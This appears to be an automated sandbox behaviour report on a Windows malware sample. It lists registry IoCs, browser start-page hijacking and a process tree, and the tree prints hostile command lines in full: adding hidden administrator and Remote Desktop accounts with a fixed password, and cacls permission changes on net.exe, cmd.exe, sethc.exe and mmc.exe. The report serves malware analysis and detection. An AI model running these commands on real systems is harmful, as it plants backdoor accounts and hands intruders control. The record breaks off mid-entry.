Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "98739"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "64394"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "97411"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Mainy\Start Page = "http://www.2345.com/?k61539783"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	regini.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\International\CpMRU	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "67031"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "94843"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "98739"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://www.2345.com/?k61539783"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

Modifies registry class 38 IoCs

Processes:

svchdsort.exe9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\ShellFolder\Attributes = "0"	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\shell\Open\ = "´ò¿ª"	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\shell\Open\ = "´ò¿ª"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\shell	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\ShellFolder	svchdsort.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\ShellFolder\Attributes = "0"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\shell	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\shell\Open	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\ = "°¢Àï°Í°Í"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\DefaultIcon	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\shell\Open	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\shell\Open\Command\ = "C:\\Program Files\\Internet Explorer\\iexplore.exe http://shop1399222689674.1688.com/\r\n"	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\ = "ÌÔÏÖ½ðÂÛÌ³"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\DefaultIcon	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\shell\Open\Command\ = "C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.hao123.com/?tn=97405087_hao_pg\r\n"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\shell\Open\ = "´ò¿ª"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\shell\Open\Command	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\iexplore.exe"	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\shell\Open\Command\ = "C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.txj888.com/\r\n"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\ShellFolder	svchdsort.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\ShellFolder\Attributes = "0"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\iexplore.exe"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\shell	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\shell\Open\Command	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\ = "hao123ÍøÖ·"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\shell\Open\Command	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc002}\ShellFolder	svchdsort.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{AEACD31A-789A-4F97-9F56-AF5D0057EEAA}	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\WOW6432Node\CLSID\	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\shell\Open	svchdsort.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc003}\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\iexplore.exe"	svchdsort.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4f88-5564-41d1-83f2-00a0c90dc004}\DefaultIcon	svchdsort.exe

Runs net.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
656

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exesvchdsort.exesvchostrr.exesvkkk.exesvkkk.exesvkkk.exesvkkk.exesvkkk.exesvkkk.exe

pid	process
1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
4144	svchdsort.exe
4144	svchdsort.exe
620	svchostrr.exe
620	svchostrr.exe
4488	svkkk.exe
4488	svkkk.exe
3064	svkkk.exe
3064	svkkk.exe
2732	svkkk.exe
2732	svkkk.exe
3240	svkkk.exe
3240	svkkk.exe
3724	svkkk.exe
3724	svkkk.exe
4124	svkkk.exe
4124	svkkk.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1352 wrote to memory of 4144	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svchdsort.exe
PID 1352 wrote to memory of 4144	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svchdsort.exe
PID 1352 wrote to memory of 4144	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svchdsort.exe
PID 1352 wrote to memory of 620	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svchostrr.exe
PID 1352 wrote to memory of 620	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svchostrr.exe
PID 1352 wrote to memory of 620	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svchostrr.exe
PID 1352 wrote to memory of 2908	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 2908	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 2908	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 2908 wrote to memory of 3948	2908	cmd.exe	regini.exe
PID 2908 wrote to memory of 3948	2908	cmd.exe	regini.exe
PID 2908 wrote to memory of 3948	2908	cmd.exe	regini.exe
PID 1352 wrote to memory of 4160	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 4160	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 4160	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 4160 wrote to memory of 2020	4160	cmd.exe	regini.exe
PID 4160 wrote to memory of 2020	4160	cmd.exe	regini.exe
PID 4160 wrote to memory of 2020	4160	cmd.exe	regini.exe
PID 1352 wrote to memory of 3876	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 3876	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 3876	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 3876 wrote to memory of 4320	3876	cmd.exe	regini.exe
PID 3876 wrote to memory of 4320	3876	cmd.exe	regini.exe
PID 3876 wrote to memory of 4320	3876	cmd.exe	regini.exe
PID 1352 wrote to memory of 4308	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 4308	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 4308	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 4308 wrote to memory of 2776	4308	cmd.exe	regini.exe
PID 4308 wrote to memory of 2776	4308	cmd.exe	regini.exe
PID 4308 wrote to memory of 2776	4308	cmd.exe	regini.exe
PID 1352 wrote to memory of 924	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 924	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 924	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 924 wrote to memory of 548	924	cmd.exe	regini.exe
PID 924 wrote to memory of 548	924	cmd.exe	regini.exe
PID 924 wrote to memory of 548	924	cmd.exe	regini.exe
PID 1352 wrote to memory of 3908	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 3908	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 3908	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 3908 wrote to memory of 2344	3908	cmd.exe	regini.exe
PID 3908 wrote to memory of 2344	3908	cmd.exe	regini.exe
PID 3908 wrote to memory of 2344	3908	cmd.exe	regini.exe
PID 1352 wrote to memory of 4488	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svkkk.exe
PID 1352 wrote to memory of 4488	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svkkk.exe
PID 1352 wrote to memory of 4488	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svkkk.exe
PID 1352 wrote to memory of 4900	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 4900	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 4900	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 4900 wrote to memory of 996	4900	cmd.exe	regini.exe
PID 4900 wrote to memory of 996	4900	cmd.exe	regini.exe
PID 4900 wrote to memory of 996	4900	cmd.exe	regini.exe
PID 1352 wrote to memory of 400	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 400	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 400	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 400 wrote to memory of 2556	400	cmd.exe	regini.exe
PID 400 wrote to memory of 2556	400	cmd.exe	regini.exe
PID 400 wrote to memory of 2556	400	cmd.exe	regini.exe
PID 1352 wrote to memory of 3064	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svkkk.exe
PID 1352 wrote to memory of 3064	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svkkk.exe
PID 1352 wrote to memory of 3064	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	svkkk.exe
PID 1352 wrote to memory of 4084	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 4084	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 1352 wrote to memory of 4084	1352	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe	cmd.exe
PID 4084 wrote to memory of 4724	4084	cmd.exe	regini.exe

C:\Users\Admin\AppData\Local\Temp\9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
"C:\Users\Admin\AppData\Local\Temp\9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe"
1⤵
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Sets file execution options in registry
- Sets service image path in registry
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1352

C:\WINDOWS\SysWOW64\svchdsort.exe
C:\WINDOWS\system32\svchdsort.exe
2⤵
- Executes dropped EXE
- Enumerates connected drives
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4144

C:\WINDOWS\SysWOW64\svchostrr.exe
C:\WINDOWS\system32\svchostrr.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:620

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:2908

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3948

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:4160

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:2020

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:3876

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:4320

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:4308

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2776

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:924

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:548

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:3908

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2344

C:\WINDOWS\SysWOW64\svkkk.exe
C:\WINDOWS\system32\svkkk.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4488

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:4900

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:996

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:400

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Modifies Internet Explorer settings
PID:2556

C:\WINDOWS\SysWOW64\svkkk.exe
C:\WINDOWS\system32\svkkk.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3064

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
- Suspicious use of WriteProcessMemory
PID:4084

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:4724

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net.exe /e /t /g everyone:c
2⤵
PID:3924

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /t /g everyone:c
3⤵
PID:3308

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net1.exe /e /t /g everyone:c
2⤵
PID:4380

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /t /g everyone:c
3⤵
PID:4492

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
2⤵
PID:1496

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
3⤵
PID:1988

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
2⤵
PID:1596

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
3⤵
PID:2476

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 /active:yes & & net user txj888.com1 /active:yes & net user txj888.com2 /active:yes &
2⤵
PID:800

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes &
2⤵
PID:2432

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:1776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:3296

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:4996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:4432

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:2292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:2760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:212

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:4720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:4436

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:312

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:1792

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:3172

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:4236

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:4048

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:2972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:4648

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:4940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:4884

C:\Windows\SysWOW64\cmd.exe
cmd /c echo y|cacls c:\windows\system32\mmc.exe /e /c /d everyone
2⤵
PID:4808

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:4032

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\mmc.exe /e /c /d everyone
3⤵
PID:2408

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net localgroup "Remote Desktop Users" txj888.com0 /add & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net localgroup "Remote Desktop Users" txj888.com1 /add & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes & net localgroup "Remote Desktop Users" txj888.com2 /add & echo y|cacls c:\windows\system32\net.exe /e /c /d everyone & echo y|cacls c:\windows\system32\net1.exe /e /c /d everyone &
2⤵
PID:2656

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:4212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:3500

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:3092

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:2908

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:3916

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com0 /add
3⤵
PID:1808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com0 /add
4⤵
PID:852

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:2448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:3388

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:1512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:720

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:624

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:4204

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com1 /add
3⤵
PID:876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com1 /add
4⤵
PID:3344

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:4748

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:2420

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:4880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:4064

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:4316

C:\Windows\SysWOW64\net1.exe
